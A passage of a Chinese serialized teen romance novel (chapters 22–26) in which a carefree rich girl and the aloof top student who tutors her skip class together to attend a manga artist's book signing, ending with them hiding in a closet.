“许屿,你请了几天假呀?”
“三天。”
“奥……”
那就是有三天可以不写额外作业。
基本就是沈初柠问一句许屿答一句,
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且字数不多,能简则简,不过沈初柠早就习以为常。
廉价的吹风机用一会就冒出了烧焦的气味。
沈初柠一开始没闻出什么味,等后知后觉发现是身边这个貌似塑料烧焦。
毕竟是电器,她极其怀疑等会这东西会不会爆炸。
一般在意贫富差距的人会考虑到说话的技巧,如何不伤害到穷人的自尊心。
但沈初柠没想到这一茬,想着刚刚那个问题,也就这样随口问了出来。
毕竟生命诚可贵。
许屿少见的沉默一会。
“会吧。”
沈初柠:“?!”
许屿勾唇。
沈初柠第一次看见他笑。虽然这话说出来真的很抽象以及老套。
得益于VIP专属通道,奢侈品店的配送效率极高,不多时便通知货物已抵达目的地。
许屿下楼去拿,连带着他买的那套。
是沈初柠洗澡时候买的,毕竟那衬衫在屋里穿还好,待外面就显得单薄。
加起来也有个三四千,算是把这些天赚的花剩下的钱全部用完。
黑金配色的礼盒质感非凡,除却烫金的品牌徽标外别无缀饰,却自有一股低调的贵气。
相较之下,他挑选的那套虽然品质尚可,但包装仅是普通的精品纸袋,差距立判。
许屿回去时听见沈初柠和司机打电话,对方话里的内容总结就是,沈天都从国外飞回来了,没看见沈初柠的身影。
司机问她什么时候回去。
沈初柠见时间好像是有点晚了。而且除了作业,似乎也没什么事情要和许屿说。
回卫生间里换了衣服后,就和许屿道别。
来得匆匆,去也匆匆。只留下那套没送出去的衣物,
以及残存带些青柠味道的衬衣落在纯白的床头。
——
沈初柠和许屿加了微信。
临走前,她被他叫住,然后加的。
这并不是什么特别好的事。
因为随后,沈初柠就看见对方发了一长串的任务,还标注了截止时间,今天。
沈初柠:“……”
原本想好的三天假期,没了。
沈初柠不知道他们有没有和好,毕竟之前没真正吵过架。闹矛盾从来只是她单方面,许屿只会无视她。
……想到这她就有点生气。
不过在许屿病假回学校之后,沈初柠总感觉他有哪里变了。
说不上来具体哪里不同,周身依旧那种生人勿近的气场。
沈初柠属于长效记忆,速记能力很差。
不像一班里的其他同学,一篇语文课文他们半节课就能背完,剩下半节课默写。
沈初柠往往一节课都不一定能背全。由此,她常常是方芸办公室的座上宾。
而作为全校第一的特权,许屿自然并不需要做这种基础的事情。但他会模仿字迹,等铃响收卷,就会填上沈初柠的名字,交上去。
多日前,沈初柠的愿望终于成真,还是plus版。
但沈初柠并不知道这对她是不是一件好事。
毕竟相比于,默不出来,被方芸在办公室程序性的耳提面命,随后又给个一周期限,其中尚且有玩乐的时间。
而许屿的,下课看住她背诵,默写,没完成不许和别人讲话玩乐。显得更为折磨。
苦海无涯,只是已经回不了岸。
23. chapter23
好在许屿过几天要去南川参加竞赛。沈初柠得以喘息。
这竞赛许屿准备了一段时间。
之前江涛特意让沈初柠送作业过去,主要为了里面竞赛辅导老师准备的资料。
其他的沈初柠不太懂,反正南华挺看重的,据说成绩好能参加京大的冬令营。
不过今年这竞赛被推迟了挺久,直到十一月份才开始。
由于往年南华名次都很高的缘故,举办方破例给南华多增一个名额。
南华附中依旧派了两名老师一起过去,一男一女,方便照顾。
学生参竞名额三男一女,其实往年女生占比高一点,就说近年来在竞赛中名次最高的林清许那一队,里面也是女生居多。
在南川的住宿问题,参竞学生各学校不同,南川大学就优先把同一个学校的安排在一起。
嗯,许屿和秦宋以及二班的另一个男生一起住。
别看秦宋平时吊儿郎当,就这种人,考试起来比谁都猛。他还是偏科选手,相较于物数,语英就不太能看。
才在卧虎藏龙的实验班显得不那么突出。
竞赛为期一周,不光考试。
还安排了学术讲座,团队交流等活动,行程相当充实。
不过后者安排在前两天,等缓冲时间一过,竞赛开放。
所有参赛学生被安排到同一间教室,基本白天听教授讲超出了高中课本的范畴的全新概念体系,隔天再进行阶段性考核。
晚上时间自主安排。
只是当天学习的内容深奥晦涩,基本所有人在自己宿舍复习,毕竟这还关乎学校的荣誉。
秦宋揉着发胀的太阳穴,对着笔记上一处推导过程发愁,转头却发现许屿已经合上了笔记。
“你不看了?”秦宋诧异地问,旁边另一个男生,短期的二班舍友也转过头。
“白天不是听完了?”
“你懂了?”
许屿淡淡回:“很难吗?”
秦宋:“……”
董冈:“……”
装的很。
虽然昨天许屿的确给南华长脸,解答一道拓扑学相关题目时,他创造性地运用了讲课提到的群论思想。
明明才刚讲过,怎么就这么快融会贯通。
这样很容易没朋友的好吗?
许屿扫了眼秦宋的笔记,点出他卡壳的地方,“用柯西收敛准则会更容易理解。”
来这的或许自谦觉得称不上一句天才,但智商高于常人肯定没错。秦宋一点就通,在纸上列上一堆草稿,刚刚觉得简直不是人能想到的题一下子迎刃而解。
“六六六。”
见秦宋容光焕发,旁边饱受折磨的董冈也把卡壳的地方给许屿看。
本来打算抱着试试的心态,毕竟对方不近人情的声名在外,但好歹一个全校的……
“算错了。”
“哦哦哦哦。”他也没再问是哪个步骤,就埋头苦算。
秦宋也不是什么能静得下来好好学习的性格,前两天苦练这么多,也不见得啃出来的公式能用上去,还不如早点睡,保持头脑清醒。
玩了会手机。
孰轻孰重还是分的清楚,没玩游戏,可偏偏沈初柠还来诱惑他。
给他发了张KING晋级百星的截图。
沈初柠:[还是太简单了。]
秦宋:[?]
沈初柠马后炮似的:[好好学习,你登游戏我就告你爸!幸灾乐祸jpg.]
秦宋:靠。
他对她这种嘚瑟表示极为愤怒。直接发语音:“沈初柠你别太小人得志!”
秦宋声音不大也不小。
但宿舍总共就那么点面积,两位舍友自然也听得见。
他刚转过身。
许屿不知何时已经将桌面整理完毕,正静静地看着他。
台灯在他脸上投下阴影晦暗不明,镜片后的眼神也平静无波,但莫名得让秦宋感到发怵。
“沈初柠?”其他两个都复习,董冈也放下笔。还没到查寝时间,还可以聊会天。等熄灯再暗暗卷死他们也不迟。
秦宋挪开视线,赶紧接话,“怎么了?”
沈初柠在南华也挺有名。沈天都怕她在学校调皮捣蛋被老师骂,也怕他家长会被点名丢人,就提前捐了栋楼,结果于事无补。
“你能给我她微信不?”
秦宋一眼难言,“你要干嘛?”
董冈挠挠头,露出点羞涩:“她挺可爱的。”
“可爱???你瞎了?”
“你怎么这么说女生。”
这么说别人当然不对。但秦宋希望少年迷途知返,“你觉得她哪里可爱?”
“长得很天菜,性格也很好。”
“性格很好???”秦宋简直想把他刚刚说的话录音,发在他们五人小群里,简直招笑。
秦宋深吸一口气,回忆起沈初柠干的一系列事情,实在太多太多。
就比如小时候玩超大一只□□,给人家整出一手尿,然后找不到纸擦,假装想要和秦宋牵手。
他只好总结:“她就是魔头懂吧。”
秦宋就一个结论,哪有什么信服力。但人家不想给就不想给,他的自由。
董冈这次说,“我有个朋友想问。沈初柠喜欢什么类型的?”
秦宋哪能不知道他的意思,“骚年,早恋不好。”
嘴里说着,心里暗骂。妈的,沈初柠这桃花怎么比他多,靠,凭什么。
“我就问问。”
“小白脸吧。朴恩金类型的那种。”朴恩金是一明星。
“我感觉她挺慕强的。游戏玩得好?反正成绩要好。啧,还别说,许屿这样的我觉得有戏。”
说完干笑两声,对向许屿:“没说你小白脸的意思。”尴尬了。
对方没理他。
“不过我觉得沈叔以后估计会给她找个能管住她的,太皮了,你是不知道小学时候她拿那个水晶球,里面装着水的那个,砸老师窗户。”
说两句坏话又想着她的好了:“欸?但你还别说。沈初柠这人听正义,见着可怜的就想帮,幼儿园见小女孩被欺负把个头比她还大的男孩揍了一顿……”
话音未落,查寝老师在外面敲了敲窗子。该关灯休息,起码得先静音。
——
时隔几日,为期一周的竞赛也逐渐落幕。
毋庸置疑,南华这次比赛表现依旧拔尖,连带着秦宋都有点超常发挥的架势。
过去的几个学生在南川还没回去,江涛坐办公室里就收到跟去老师给他打得电话。
许屿拿了金牌。
意料之中也是情理之中,但江涛情绪起伏没有特别
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大。他听着电话那头的汇报,挺深。
江涛办公室位置靠窗,撇眼就看见他们班同学在操场上撒欢,是体育课。
正慢悠悠挪开视线给自己泡壶茶,他就扫到在大树底下安静无比的坐着沈初柠。
不对劲。
再仔细一瞧,可好,前年颁布的规定,学校明令禁止带手机,这沈初柠明晃晃的玩,还横屏!
江涛立马拉开窗,站起身,怒吼,“沈初柠!!!”
远处的沈初柠被这突如起来的声音吓了一跳。
此为本周江涛上火事件一。
上火事件二则源于她的同桌,许屿。
没错,言午许,山与屿,许屿。
竞赛一过,各自休息两天后,过去的一行人回了学校。当然,同去的学生先回各自老师办公室。
成绩优异,四人都拿到了京大冬令营的名额。但许屿说不去。
这话一出,别说江涛,连一旁的其他老师都愣住了。
加上王鸿。他目前负责高一,不在这办公室办公,纯过来串门玩。
“为什么?”江涛问。
这机会别人都求而不得,冬令营名次好的话,可是关乎保送。
许屿又说出了第二句让他表情几乎龟裂的话,他说以后也不会参加竞赛。
多么似曾相识。
王鸿几乎梦回几年前。
这次因为什么?
梦想?
不会又是梦想?
可别是什么爱情。
“为什么?”
“强基计划转不了专业。”
“你以后想做什么?”
“赚钱。”
“……”
这个理由太过现实,反倒让江涛原本准备好的所有劝说都卡在喉咙里。
可就算如此,像许屿这样的好苗子,哪怕是几乎拥有宜城最好生源的南华附中,少说十年吧,都不见的会出一个。
江涛还想在争取一下。
学校对许屿投入是相当大的。光是学杂费全免,就是很大一笔资金。人总是有功利性的,有舍就要有得。但为人师表,教师这职业为的只是一个教书育人。江涛欲言又止,不知道该怎么说。
“要不再考虑考虑?你现在保送基本是妥了,高考这事还充满未知性。”
就说到时万一来个突发情况是吧。谁都不能预测准。
就在他斟酌措辞时,许屿淡淡开口:
“老师,我会考省状元。”
要不说和聪明人讲话就是省事呢,许屿一针见血,江涛也被他说动。
“省状元”三个字太重,重到让人不敢轻易说出口。换做别人,哪怕有这个实力,江涛都要骂他自负。偏偏是许屿。真就无话可说,让人信服。
要说保送和状元哪个含金量高,那肯定都很好,不过在家长眼里保送什么的不会打听清楚,但高考状元的话,基本是要谈一嘴的。
到时候无疑南华的荣誉又高了个层次。
最后江涛叹了口气,让许屿先回教室。
等人离开,他问王鸿:“你怎么看?”
时隔多年,王鸿也是带过一届又一届毕业生
王鸿喝了口茶。
此刻无声胜有声。
他开口:“毕业志愿填报的时候看住他!”
直至如今,依旧心梗。
24. chapter24
许屿回教室的时候,沈初柠在和后桌的方宽在玩五子棋。
傍晚,靠近放学回去的时间。物理老师连着上了一下午课,实在没力气,就让课代表看班,学生自习。
对于物理沈初柠向来是头疼,堕意催使下,能不学就不学。反正想着许屿又不在,没人看着她。
身后方宽显然也是这样想的。
“沈初柠,玩不玩五子棋?”他极小声。
“玩!”同样小声回。
虽是自习,但到底上课。没大张旗鼓,两个人撕了页纸,用黑笔横横竖竖画了方格。
下了几回合,沈初柠向后把画满圈叉的纸递给方宽。
而方宽抬头突然像见了鬼,迅速低下头,拼命对她使眼色。
沈初柠:“?”
她以为是江涛来了,没什么害怕的情绪。但惯性紧张,手一松,手里的笔掉在地上。咕噜噜往前滚去。
沈初柠赶紧转过身,僵着不懂,没去捡。
她等着江涛的河东狮吼,然后程序性的低头认错。
一只骨节分明的手拾起了那支滚到过道中央的笔,轻轻放回她桌上。
老班手能这么白这么好看?
自然是不可能。
沈初柠抬眸往上看,对上一双熟悉的清冷眼眸。
许屿目光在她和方宽之间扫了个来回,最后落在那张画满圈圈叉叉的纸上。
“作业写完了?”他开口。
沈初柠:“……”当然没有。
唉,来的人还不如是江涛呢。
——
远香近臭。
以前来讲,沈初柠对许屿是有点怵的。
现在嘛,有点烦。多大程度算不上,一点点吧,主要是她的毕生梦想就是做个懒散富二代,以后不碰黄赌毒就行。
偏偏被盯着背书写作业学习。
别说江涛了,她爸管的都没这么严!
可恶。
但最多只能无能狂怒。
有时候实在受不了就眨巴着大眼睛,真挚问许屿能不能少布置点。
这招对她爸她爷奶她外公婆她陈姨等等等很有用,可惜许屿不为所动。
——不能。
真就冷酷无情。
——
隔几天是木木籽的签售会。
沈初柠从初中就开始追她的漫画了,就连中考那几天也没有听过。
最近更是靠重刷,来慰藉自己被数学物理题打击得千疮百孔的心。
签售会地点在南川,离宜城不远,作为女神的第一次亮相,哪怕那天在周三,沈初柠也是势必要过去的。
而初见自然是要打扮隆重些。
前一天晚上预约了妆造团队上门,凌晨4点爬起来化妆。
因为要去上学,就特地弄了个伪素颜,多打了点腮红,看着比较朝气蓬勃的那种,高中牲每天死气沉沉,她不想把女神给吓着。
以往校门口的执勤的学生就一个摆设,基本随便就能过。
流年不利的,刚巧就让沈初柠撞上了江涛也来校门口值班。
沈初柠摸摸脸,“……”没戴口罩。
都素颜妆了,不仔细肯定看不出来。沈初柠本来想低着头从江涛身边走过,来个见面不识,只不过,不出意外的就出意外了。
“沈初柠?低着头做什么?”以往看见他,沈初柠无一不是会打声招呼。
沈初柠涂了口红,她不知道江涛能不能看出来,抿着嘴咳了声。
见江涛不为所动,她咳得就比较撕心裂肺。
“行了行了。穿这么少,不多加点衣服?”江涛挥挥手,“赶紧回教室去。”
沈初柠一溜烟地跑走。
沈初柠到教室的时候教室就零零星星几个人。为了不节外生枝,她特意提早去。
桌上边缘贴着便签,上面是昨天许屿给她写的学习任务。
现在沈初柠高一的基础差不多稳了。
不过只是高二,实验班进度快,而沈初柠知识接收速率相对于比较慢。
说实话那些题在许屿眼中都一样简单,但显然小同桌清澈的眼神告诉他事实并非如此。
只好每天把题型整合,按知识点查漏补缺逐个击破。
提升等周末,不然布置太多容易起逆反心理。
别看许屿平时与人不想交流的模样,人心把握地倒挺准。
只是平时沈初柠窝窝囊囊不敢反抗,今儿个倒也顾不了那么多。用手机拍了几道题把答案填上去,剩下四五道自己写,半天来得及,还不容易被发现。
秦宋和许屿是一前一后到教室的。
秦宋眯着个朦胧眼。困意止都止不住。进教室就瞥见沈初柠埋头苦写。
秦宋:“?”在做梦?
他用力揉了揉眼睛,场景没变。
头脑倒是清醒了许多,看见这一幕倒是比薄荷糖还管用。
他三两步往沈初柠那边走:“妖魔鬼怪,速速现身!”
有毛病。
沈初柠无语地看了他眼。
这一看不要紧,秦宋这不就发现新大陆。
“我嘞个,沈初柠你化妆了?”
沈初柠迅速站起来捂住他的嘴。
侧眸注意到后面许屿直视过来目光,下意识缩手。
秦宋趁机拜托她的钳制。又凑近仔细打量,“还涂了口红?”
“这看得出来?化的伪素颜。”
“你忘了我妈是做什么的?”
秦宋妈妈是知名美妆博主,从小他就耳濡目染。
“对哦。”
秦宋眯眼,“莫名其妙今天化妆,你要做什么去?”
沈初柠移开视线:“能有什么事?”
倒不是她不说。下午逃课那事可不能节外生枝。就秦宋那个大喇叭,就怕到时候被提前逮到。
而秦宋似乎是想到了什么,“好好好!你个沈初柠,背叛我们革命友谊,你竟然早恋!”
声音不大,但胜在教室稍许安静,这话一出,班里人都看了过来。不过也不是什么特别大的八卦,又低头看自己的书去。要不说是实验班呢,就是自律。
沈初柠一开始见秦宋那表情还真以为他猜到什么,紧接着就听他这大刀阔斧般的言论。
懒得跟他讲。
许屿从门口走到座位,沈初柠趁着他不在看她的间隙。
小魔头面貌全然展现。
做了个口型,无声和秦宋说
——滚呐。
就这态度?
信不信他把这事告江涛?让他好好说道说道。
秦宋睁大眼打算和沈初柠继续掰扯,旁边许屿淡淡开口,“快自习了,早上是班主任看班。”
方宽
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是打铃前几秒进的教室,是英语早读。布置下来的任务方旗早做完,他就和方宽唠起嗑。
谈到刚刚发生的事,他用笔帽轻轻戳了沈初柠的后背。
“干什么?”沈初柠悄咪咪往后转,小声问。
“听说你早恋了?”
“不信谣不传谣。”
方宽想想也是,他抬眸,看见了沈初柠的脸:“我怎么感觉你今天变漂亮了?”
听他这么说,沈初柠有些开心:“是吧。”
“更加可疑了……”
江涛见两人小老鼠一样的动静,走旁边咳了声,沈初柠立马转过身,大声背单词。
他给了两人一个警告的眼神,才继续巡逻。
沈初柠今天头发微卷过,烫出一点弧度,几缕发丝垂在肩头。
大概是喷了香水。往日的青柠味被另一种香味掩盖,只透出一点点气息。
许屿翻动了书页。
他想。
或许在薄雾笼罩的伊旬园里那条噬下禁果的蛇,不只是引诱堕落的象征,也是内心另一个清醒的自我。
——
赶好不如赶巧,江涛下午要去别校听课。而周三上午三四节课还是体育。
经过沈初柠的多方面计算,她把买的飞机票退了,改成打车。机场候机时间长,过去还得重新在找路。不如打个车省事,也不算晚。
第三节上课铃响,沈初柠去了操场报道后就直奔校门口。南华体育课看管没有很严,跑操加点名后就可以各自活动。
沈初柠把改好的请假条交给门卫。上次申请出校留下的,不过之前的日期被沈初柠稍微修改
门卫大叔和沈初柠也是老交情了。偷溜出去不在少数,不过之前都是团伙作案。十次也就一两次被逮到。
门卫对比了上面的字迹,是江涛的。就这个长得像0的8让人不得不怀疑。
沈初柠解释:“不知道呀,可能是老师不小心写错了吧。”
如果是旁人,也就意思意思让他们过了,但沈初柠这个惯犯。真不好说。
思考片刻。保险起见还是给江涛打个电话得好。
那还得了?
沈初宁只好窝囊地说突然有要事,就先不出去了。然后溜走。
,
她是真没想到门卫现在如此不好糊弄。
不过既然从学校大门那走行不通,沈初柠便悄悄绕到了旁边围墙那。
找了个有树挡着的角落,左右张望确认没人后,借助老树虬结枝干,她手脚并用地向上攀爬,到时候直接跳出去就行。
“你在做什么?”
沈初柠吓得一个趔趄,差点直接栽下去。
她转过头,看见许屿不知什么时候站在树下,看着她。
他脸上依旧没什么表情,阳光透过枝叶的缝隙在他身上投下斑驳的光影。
被许屿看见了那还得了?
大脑意识几乎立刻评判。
好学生,许屿。
逃跑,沈初柠。
发现,完蛋。
沈初柠动作更为迅速。三两步到树上去。
许屿目光在她因用力而微微泛红的脸颊上。停留片刻。又扫过沈初柠为了翻墙而卷起的袖口,最后落在那双沾了点泥的小白鞋上。
“下来。”他语气平静,但听着却带了点不容置疑的味道。
25. chapter25
换以前沈初柠或许就立刻下去了。
现在显然不行。
她假装没听见,转头望向前面的围墙。
墙顶缠着电线,也不知道碰到会不会被电。大概是又嫌不够,上面又布了许多玻璃碎片。
显然是用来恐吓出逃者。
沈初柠估测着距离。等会直接从树上跳过去估计会摔个狗吃屎。
但计划可以实施,还好这边有个树。
她低头去看站在树下的人:“许屿,我等会出去你能不能别告诉老师呀?”
她也就随口这么一说,告不告都行,反正她已经跑掉了。
许屿没说答应,也没说不答应。他往前走了几步,朝她伸出手。
“下来,我带你出去。”
“欸?”
“墙上有电网,连接着通报系统,只要是碰到,监控室就会知道,到时候保安来了你走不了的。”
墙的高度并不低,摔地上需要缓冲时间,最后结果的确会是许屿说的那样。
“你带我出去?”说实话沈初柠还挺懵的。
这这这?有这种好事。
“下来。”他说了第三遍。
沈初柠从树上跳了下来。
由于惯性,往前面冲了几步,碰到了许屿。两个人同时后退,一瞬间,他们靠得极近。
沈初柠先松开了手。
——
直到许屿从桌子里拿出一堆只签了江涛名没有填具体时间的请假条,沈初柠才明白人与人之间的差距。
遥想她之前每次和江涛编请假理由的痛苦,显然许屿如果想出去那就太轻而易举。
可恶。
江涛实在是偏心。
保安室里的门卫看了眼沈初柠和许屿的假条,日期签名都没有问题,且没有被涂抹的痕迹。
沉思片刻,觉得沈初柠表现得实在理直气壮,最终门卫也就让他们出去。
约的车在校门口等候多时。不过沈初柠是包车,司机便没多说什么。
只是……
沈初柠不理解,既然都出来了,也该分道扬镳。为什么许屿还和她坐一辆车里来了?
一开始她还以为是来蹭个顺风车,等出了宜城才缓慢地察觉不对劲。
“许屿,你也要去南川吗?”
“嗯。”
像是解释。
“把你带出来,我要为你的安全负责。”
沈初柠眨眨眼睛:“意思是你要和我一起?”
“嗯。”
好冠冕堂皇且听起来十分正直善良的理由。
与许屿的人设极为不符。
不过倒也无所谓。
是工作日,还是周中,高速并不度,到南川的路程几小时就到。
目的地在市中心的一博览馆。
车子刚拐进博览馆所在的街道,速度就不得不慢了下来。
等下了车,进到里面,就见人山人海,排队的队伍蜿蜒曲折,几乎要把整座建筑给塞满。
关于木木籽的签售会已经开始。
沈初柠隔着很远望了前面一眼,发现木木籽的面容被人群挡住。
情理之中。
她只好叹口气,拉着许屿去售书处。
倒不是她想肢体接触,这里人挤人人挨人,很容易走散。
木木籽的漫画被举办方用几个货架独立放着,不过沈初柠的过去的时候,有几本还是售了空。
协助的工作人员通知暂时缺货,得去仓库拿,需要等一段时间。
眼见前面队伍是越来越长,等等倒是没什么关系,就是逃课出来这事……本来沈初柠还想着在江涛回来之前回去,偷溜这事不就神不知鬼不觉?
沈初柠有些失望地看着空荡荡的货架,等补货肯定是要等的,不过大概是缺不了一顿训。
“哪几本没了?”就听见许屿开口。
沈初柠把缺的那几册书的名字报给许屿听。
“你可以先去排队。”他看了长条的队伍,沈初柠现在过去估计一小时也排不完,足够书补货了,“我等会买完去找你。”
焉了的太阳花又重新焕发生机,“那我把缺的书名手机上发给你嘛?”
“不用,记得住。”
沈初柠依言先去签售队伍末尾排队,队伍移动得比想象中要慢一点。
不过大概是补货那边出了点问题,前面还只剩几人的时候,还是没有见到许屿。
原来学神也有会计算失误的。
这么想着,手机传来提示音。
许屿:[在哪]
沈初柠给他了个共享地址。
刚发完信息,许屿就穿过人群朝她走来,他额前的碎发被汗水浸湿了些许。
“是这些?”
沈初柠翻看了一下,所有系列都全了。她还发现有本额外的典藏版。
沈初柠:“?!!”
有些惊喜地望向许屿。
“听说是每五百人的额外加赠。”他解释。
一瞬间许屿的形象变得极其高大。
沈初柠眉眼弯弯,“好厉害!谢谢你呀,许屿。”
正好排在前面的人已经签完名离开。
轮到沈初柠。
沈初柠几年前就开始追更漫画。微博里更是坚持每天超话打卡,是林清许的铁杆老粉。
林清许之前并没有公开露相过,如今一见,还是近距离接触,沈初柠是又兴奋又紧张。直勾勾地望着她,眼睛跟小狗一样亮。
直觉长时间盯着对方似乎不太礼貌,这才收敛心神,声音带着雀跃:“木木籽大大,我超级喜欢《狮子和小羊》!”
林清许在这几小时里听了太多类似的表白,但还是真诚地
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微笑着道谢。她在扉页上签名。
沈初柠把所有系列的漫画都买齐,如今下笔也需要一些时间。
“大大,你好漂亮。”沈初柠没忍住。
“嗯。”林清许微微笑了一下,“你也是。”
林清许是签绘,沈初柠怕打扰到她就没再继续说话了。她身边坐了个小男孩,又白又萌,很安静地捧着个奶茶杯,不吵也不闹的。
这是木木籽大大的儿子还是弟弟?
毕竟林清许看起来比她也就大那么几岁。
沈初柠从小就是孩子王。和奶奶家里的几个小豆丁玩得也很好。她没忍住上手轻轻捏了把阚哲瑞脸上的软肉。
“你是大大的弟弟吗?”
阚哲瑞郑重又羞涩:“我是姐姐未来男朋友!”
还是太权威。
“未来可期。”
“除了签名,还有什么需要的嘛?”林清许浅笑着问。
“都可以的,都可以的。”第一次和偶像碰面,沈初柠心脏忍不住怦怦乱跳。
林清许垂眸看见沈初柠胸口上的校徽,“是南华的学生?”
来的匆忙,沈初柠根本就没时间换衣服。还是早上那套校服。
“对呀对呀,大大也知道南华吗?”
林清许点头。
“那祝学业有成,考上心仪的大学。”
……
最后沈初柠如愿拉着许屿和林清许拍了张合照。
博览馆的队伍依旧络绎不绝。
沈初柠看着刚刚拍的照片心情大好,“我回去一定要把照片洗出来,用相框放桌上,感觉学习都不那么痛苦了!”
沈初柠买了一堆书,许屿帮她拿着。联想今天他做的一系列好事,她觉得许屿以前什么不近人情啦之类的全是假象,这世界上怎么会有许屿这么好的人!
沈初柠决定请靠谱的许屿喝杯奶茶。
“许屿,你是不是也觉得我偶像特好看特温柔!”
许屿低头在她灿烂的笑脸上停留了片刻,才淡淡地“嗯”了一声。对于刚刚那个人,他仅是觉得眼熟。
“只是这样?”沈初柠对这个敷衍的回答不太满意,凑近了些追问,“就没有更具体一点的评价吗?比如气质啊,才华啊……”
沈初柠简直要仰天长笑,“此时此刻,哪怕是被老班逮住我逃课,我也没有无所谓了!”
人,永远不要立flag。
话音刚落,手机电话就被夺命连环扣。
一看备注,班主任。
响铃十几秒,沈初柠思考挂断还是挂断。
一轮电话铃声后,又重新响起。沈初柠只好接通。
江涛的声音气急败坏,怒吼简直能穿透听筒。
沈初柠默默把手机诺远了点。
“沈初柠!!!你现在还敢逃学了是吧!!!”
26. chapter26
既来之则安之。
既然都被发现了,沈初柠“嗯嗯哦哦”好好地和他忏悔,真切表达自己的错误,并表示以后绝对不会再犯。
当然,这种话当事人从不当一回事,就像男的下跪保证再也不出轨家暴,不可信的。
江涛被稳住情绪:“你现在在哪?”
“……南川。”
“……”江涛的高血压感觉都要犯了。他又是怒吼:“你跑那么远干嘛去?!!”
其实不是特别远。又不是去京市,一南一北的。
但沈初柠识时务,“有点事啦……”
“许屿是不是和你在一起?”
沈初柠眨眨眼,思考要不要说实话。一个人犯错没什么事,把好学生带跑可就是大过。
“算了,有个男生在身边也安全。”江涛语气立即恶狠狠,“赶紧回来!”
“好的老师。”沈初柠保证。
承诺要看人。像沈初柠这样天天发誓又保证的,且当她的保证约等于无。
沈初柠虽是这样说,现在心里也不着急回去。都被发现了,还是下午,现在回去,几个小时路程,早放学了。
时间来得赶,午饭还没吃。沈初柠早就饥肠辘辘,排队时也只吃了个许屿给她买的汉堡。
当即就拉着许屿去附近商城餐厅饱餐一顿。
冬日,天色暗的特别快。下午四点就余晖满地,夜色初降。
南川有家网红自助烤肉店,正好就在博览馆旁边。
据说味道还不错。
江涛声音大,虽说许屿刚刚也听见他的话,但沈初柠提出去烤肉店时,他并没有表示任何反对。
沈初柠觉得奇怪。说实话吧,她挺疑惑为什么许屿要跟着她来南川。
不过她没问。反正也不是什么大事。
店里人声鼎沸,烤肉的滋滋声和香气瞬间将人包围。
由服务生引领去了座位。
本来沈初柠就饿,闻到香气后感觉能吃得下一头牛。
取餐处有自助南瓜粥,沈初柠去盛了两碗,顺便拿了些水果。
等回到位置时,许屿已经烤完一些肉,成品放在她的盘子里。
他袖子微微挽起一些,露出清瘦的手腕,在烤盘上铺开五花肉和牛肉。当油脂滴落在炭火上爆出诱人的声响时,他又适时地放上口蘑和金针菇。
满满人夫感。
沈初柠咽了下口水。
夹了块烤肉尝,外焦里嫩的肉片在嘴里化开,浓郁的肉香让她满足地眯起眼睛。之前她没少和秦宋虞灿他们出去吃,不过秦宋的技术多显逊色。
“许屿你会烤肉呀?”
“嗯,之前有过兼职。”
许屿翻动着肉片,暖黄的灯光落在他低垂的睫毛上,投下一小片温柔的阴影。
沈天都的电话打了过来,沈初柠也早有预料,班主任嘛,大事小事都会跟家长说的。
不过也正好,她就跟沈天都说今晚不回去了。坐车一来一回很累的。
沈天都一开始当然不同意。不过沈初柠可是有十几年哄人技巧,撒娇什么的手拿把掐。沈天都又对沈初柠极其溺爱,没过几分钟他只好同意。
不过给了沈初柠他在南川房产的位置以及密码。
沈初柠养的娇气,碰到酒店床单就过敏。并嘱咐沈初柠晚上早点回去。
电话说了十几分钟才得以挂断,沈初柠的盘子里早就摆满了烤完的肉。
沈初柠用干净的筷子分了许屿半盘,原本空落落的盘子瞬间也堆积了许多。
“许屿你也吃呀,别光顾着我。”
她真觉得许屿变了。
以前他只会说,“沈初柠,你好吵。”
好吧,许屿没切实说过这句话,反正意思就这样。
——
沈初柠去前台付钱的时候,收银员说这桌已经结过单了。
而结单的人是谁,自然就不言而喻。
怎么说呢,许屿能帮她出校门她已经很感谢了。更别说后面帮她买书,提书,烤肉。
而且她也知道许屿的情况。家里还有只猫要养,上次猫感冒花了大几千,后面大概是担心李秀兰在家虐猫,除了周六日,基本都是送宠物店喂养。
沈初柠真觉得许屿身上没多少钱。
现在给许屿直接赚钱说饭她请也不太好,沈初柠想了想,见外面天色渐黑,“许屿,要不你今晚住我家吧?”
蚊子肉也是肉,酒店的钱也许不是很多,但能省则省。而且家里有家政定时清理,比外面酒店干净一些。
怕许屿又猜到什么,伤害他的自尊心。沈初柠找补,“我一个人在家,有点害怕。”
——
说实话,沈初柠还是挺心虚。
别看她爸对她管的松,有什么事撒娇打诨就能过去。但私带外男回家这事,还真不能做。
不过大概也没事?
反正她爸现在在别市,不在南川。她也就带这么一次。
暂居地方离市中心不远,打车几分钟就到。怕那边没什么吃的,沈初柠在楼下超市买了些饮料和零食。
房子是大平层,几居室沈初柠没仔细算,房间多,沈初柠给沈天都发完定位,就随便挑了两间住下。
被褥在橱柜中,她搬出来给铺上套被单,不过被子过于重,没两分钟她就精疲力尽躺床垫上摆烂。
许屿敲门进来,就看见沈初柠生无可恋地模样,床上堆积着各床上用品,以及未完成作品。
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她像只搁浅的小鱼般瘫在床垫上,怀里还抱着个刚套到一半的枕头套。
许屿的视线落在沈初柠身上,唇角几不可见地弯了一下。
房门未完全闭合,沈初柠抬眸望向他,正准备问有什么事时,突然听外面密码锁打开的提示音。
能准确输入密码的除了沈天都还能有谁?
沈初柠睁大眼睛,看看前面的许屿,满脑的“完蛋”奇聚,此时也容不得它短路。
私带外男回家少不了挨一顿训,万一她爸连带这许屿一起训斥怎么办?那就完全完蛋!
动作比脑子快。沈初柠迅速打开柜门把许屿塞了进去,紧接着自己也慌不择路地挤入这片狭小的黑暗之中。
她手忙脚乱地将手机调至静音,一套动作行云流水。
做贼的天赋,此刻展现得淋漓尽致。
衣橱不算小,但隔间夹板之间却是组的很密。一个人站进去还好些,两个人倒是显得格外拥挤狭窄。
柜门关闭。环境幽暗,唯有门缝处渗入几丝微弱的光线,勾勒出彼此模糊的轮廓。
逼仄的空间里,他们不得不紧紧相贴。
沈初柠的额头无意间抵上了许屿的颈窝,少女发顶柔软的青丝蹭着他的下颌,带来一阵细微而陌生的痒意。
她身上那抹清甜的,又微微带着点以往的暖香,混杂着衣柜里淡淡的樟木和织物气息,蛮横地侵占了他的所有感官。
许屿的呼吸几不可察地一滞。
他能清晰地感受到怀中身躯的柔软温热,甚至能数清自己骤然失序的心跳。
黑暗中,其他感官被无限放大,她每一次因紧张而加重的呼吸,都像羽毛般扫过他的锁骨。
“别动。”他压低声音开口,才发现自己的嗓音比平时沙哑了几分。
